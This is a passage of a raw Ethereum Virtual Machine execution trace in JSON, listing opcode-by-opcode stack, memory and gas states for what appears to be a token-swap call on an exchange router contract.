dde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3723,"op":"POP","gas":101223,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x100","0xa24","0xa0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3724,"op":"POP","gas":101221,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x100","0xa24","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3725,"op":"JUMP","gas":101219,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x100","0xa24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2596,"op":"JUMPDEST","gas":101211,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2597,"op":"SWAP2","gas":101210,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2598,"op":"POP","gas":101207,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2599,"op":"DUP7","gas":101205,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2600,"op":"DUP3","gas":101202,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2601,"op":"PUSH1","gas":101199,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2603,"op":"DUP5","gas":101196,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2604,"op":"MLOAD","gas":101193,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x1","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2605,"op":"PUSH2","gas":101190,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2608,"op":"SWAP2","gas":101187,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x1","0x2","0xa36"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2609,"op":"SWAP1","gas":101184,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0xa36","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2610,"op":"PUSH2","gas":101181,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0xa36","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2613,"op":"JUMP","gas":101178,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0xa36","0x1","0x2","0x3b1a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15130,"op":"JUMPDEST","gas":101170,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0xa36","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15131,"op":"PUSH1","gas":101169,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0xa36","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15133,"op":"DUP3","gas":101166,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0xa36","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15134,"op":"DUP3","gas":101163,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0xa36","0x1","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15135,"op":"LT","gas":101160,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0xa36","0x1","0x2","0x0","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15136,"op":"ISZERO","gas":101157,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0xa36","0x1","0x2","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15137,"op":"PUSH2","gas":101154,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0xa36","0x1","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15140,"op":"JUMPI","gas":101151,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0xa36","0x1","0x2","0x0","0x1","0x3b2c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000